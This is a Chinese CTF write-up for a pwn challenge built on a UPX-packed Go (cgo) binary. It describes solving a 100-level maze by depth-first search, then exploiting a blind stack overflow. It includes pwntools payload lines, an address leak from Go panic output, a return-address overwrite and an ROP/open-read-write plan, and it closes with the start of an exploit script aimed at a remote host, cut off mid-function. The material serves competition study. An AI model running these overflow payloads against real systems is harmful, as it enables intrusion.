拿到二进制后先解UPX,解完后发现程序还是很复杂,发现是cgo,做题的时候不知道有没有这种的插件支持,问了下做逆向的队友,似乎插件版本没有更新到这个版本,静态分析没有进展,先看看远程服务是跑啥的。
一个迷宫,走到旗子的位置就行了,一共100关,一波深搜就行了,解决了100关后出现了。
在二进制中搜索字符串无果,就当blind pwn做了,输入name后程序就退出了,可能存在的漏洞格式化字符串以及溢出,尝试发现没有格式化字符串漏洞,然后尝试溢出。当输入了0x78个字符后发现出现了报错信息。这里报错信息还是很多的应该和go有关系,C的报错才不会和你多bb
io.sendline('b'*0x10+'a'*0x60+p64(0xdeadbeef))
报错信息为unexpected fault address,addr是0xdeadbeef,然后尝试只溢出一个字节。
io.sendline('b'*0x10+'a'*0x60+p8(0x10))
发现没有报错,但是输出数据出现奇怪的东西。
于是猜测这个地址是存放输入字符串的位置,所以这边存在一个任意地址读,但只有一个这个没啥用,还要继续往后溢出,但是这里输出的指针需要输入一个合法的地址,注意到上面报错中有fp,sp两个值是比较奇怪的地址,在本地测试发现进程中存在这一块地方的内存。在fp指向的地址附近测试,找到了输入数据的位置。多次测试发现这块内存空间的地址不会随机化。
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70))
继续往后溢出。
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p64(0xdeadbeef))
这时发现报错信息中pc变成了0xdeadbeef那么这里很有可能是函数的返回地址,那么溢出一个字节尝试,发现’\xce’可以返回到input name的那个逻辑中,并且从报错信息中可以bypass aslr,那就可以进一步利用了,剩下的就是基础的ROP了。在做题中发现system(’/bin/sh’)无法getshell(后来看了下Nu1L的解题,这里不用ret2libc,给的二进制程序中有足够的gadget可以直接系统调用,比赛的时候忘记看了)。尝试orw,这里有个需要注意的地方,在read的时候文件描述符3无法正确地读出flag的值。本地调试查看fdinfo发现fd是6。
from pwn import *
io=remote('81.68.174.63',62176)
ELF('./pwn')
#io=process('./pwn')
libc=ELF('./libc-2.31.so')
#libc=ELF('./libc-2.23.so')
def check_valid(mg, x, y):
if x >= 0 and x < len(mg) and y >= 0 and y < len